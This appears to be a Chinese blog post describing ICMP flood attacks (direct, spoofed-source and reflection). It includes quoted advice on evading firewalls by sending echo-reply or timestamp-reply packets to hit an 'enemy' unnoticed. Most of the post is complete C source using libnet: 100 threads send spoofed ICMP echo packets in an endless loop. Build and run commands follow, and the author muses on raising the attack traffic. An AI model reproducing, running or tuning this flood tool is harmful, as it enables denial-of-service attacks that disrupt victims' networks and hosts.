首页 > 代码库 > libnet-ICMP攻击
libnet-ICMP攻击
刚开始接到的任务是,要求主机A给主机B发送ICMP数据包,将源IP和目的IP都填成B的IP,使B接受自己给自己的ICMP回应包,如下图:
发现这样不足以对B产生影响,于是打算借助别的服务器,如下图:
后来才知道自己做的其实是ICMP攻击。
ICMP攻击分为三种方式:
1、直接flood
缺点:需要足够的带宽,而且容易暴露自己的IP。
2、伪造IP的Flood
3、反射
这应该就是我上面的那种方法了吧。
把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!(我的两种方式效果就很不同)
引用别人的博客:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、4、11的特殊报文会不会有更大效果。
以下是源代码:
sendicmp.c
#include <pthread.h>#include <stdio.h>#include <sys/time.h>#include <string.h>#include <libnet.h>#define THREAD_NUM 100/* the number of the threads*/pthread_t thread[THREAD_NUM];int number=0, i;void *mythread(){ int i; libnet_t *l = NULL;/* libnet句柄 */ libnet_ptag_t protocol_tag;/* 协议标记 */ char *payload_liu_wen_tao = NULL; /* 负载 */ u_short payload_length = 0; /* 负载长度 */ char *device = "ech0";/*网络设备接口*/ char *destination_ip_str = "192.168.1.5";/* 目的IP地址字符串 */ char *source_ip_str = "192.168.1.7"; /*源IP地址字符串 */ u_long source_ip = 0; /* 源IP地址 */ u_long destination_ip = 0; /* 目的IP地址 */ char errbuf[LIBNET_ERRBUF_SIZE]; /* 错误信息 */ int packet_length; /* 发送的数据包的长度 */ l = libnet_init( /* 初始化libnet */ LIBNET_RAW4, /* libnet类型,为原始套接字IPv4类型 */ device, /* 网络设备接口 */errbuf /* 错误信息 */ ); source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE); /* 把源IP地址字符串形式转化为网络字节顺序的数据 */ destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE); /* 把目的IP地址字符串形式转化为网络字节顺序的数据 */ protocol_tag = libnet_build_icmpv4_echo( /* 构造ICMP回显数据包 */ ICMP_ECHO, /* 类型,此时为回显请求 */ 0,/* 代码,应该为0 */ 0, /* 校验和,为0,表示由libnet句柄自动计算 */ 123, /* 标识符,赋值为123,自己任意填写数值 */ 456, /* 序列号,赋值为245,自己任意填写数值 */ NULL, /* 负载,赋值为空 */ 0, /* 负载的长度,赋值为0 */ l, /* libnet句柄,应该是由libnet_init()函数得到的 */ 0 /* 协议块标记,赋值为0,表示构造一个新的协议块 */ ); protocol_tag = libnet_build_ipv4(/* 构造IP协议块 */ LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_length,/* IP协议块的长度 */ 0, /* 服务质量,这里赋值为0 */ 10, /* 标识符,这里赋值为10 */ 0, /* 偏移,这里赋值为0 */ 20,/* 生存时间,这里赋值为20 */ IPPROTO_ICMP,/* 上层协议类型,这里是ICMP协议 */ 0, /* 校验和,这里为0表示由libnet计算校验和 */ source_ip, /* 源IP地址 */ destination_ip,/* 目的IP地址 */ payload_liu_wen_tao, /* 负载 */ payload_length, /* 负载的长度 */ l,/* libnet句柄 */ 0 /* 协议块标记,为0表示构造一个新的IP协议块 */ ); while(1){ packet_length = libnet_write(l); /* 发送由libnet句柄l表示的数据包 */ //printf("the length of the ICMP packet is %d\n", packet_length); /* 输出发送的数据包信息 */ } libnet_destroy(l); /* 销毁libnet */}void thread_create(void){ int temp,i; memset(&thread, 0, sizeof(thread)); /*创建线程*/ for(i=0;i<THREAD_NUM;i++) if((temp = pthread_create(&thread[i],NULL,mythread,NULL)) != 0) printf("线程创建失败!\n"); //else //printf("线程%d被创建\n",i);}void thread_wait(void){ /*等待线程结束*/ int i; for(i=0;i<THREAD_NUM;i++) if(thread[i] !=0) { pthread_join(thread[i],NULL); //printf("线程%d已经结束\n",i+1); }}int main(){ thread_create(); thread_wait(); return 0;}
在Ubuntu14.04中编译方法:gcc -o sendicmp sendicmp.c -lnet -lpthread
运行:sudo ./sendicmp
但是目标机接收数据包的流量最大只能达到3MB/S左右,而且目标机也没有很强烈的反应,效果不理想。另外,发送方的发包速率也不高,期望发送方的CPU全部用于发送数据包,但实际测试时CPU只能达到30-40%。暂时不知道有什么更好的改进方法。
另外一个思路是,自己写一个服务器,用来抓取A发送的ICMP包,将这个包的内容填充的更大,再发送给B,这样可能B接收到的流量会有所提高,不过现在只会抓包(用libcap抓包的代码在另一篇文章里),不知道怎么填充数据,有待研究。
libnet-ICMP攻击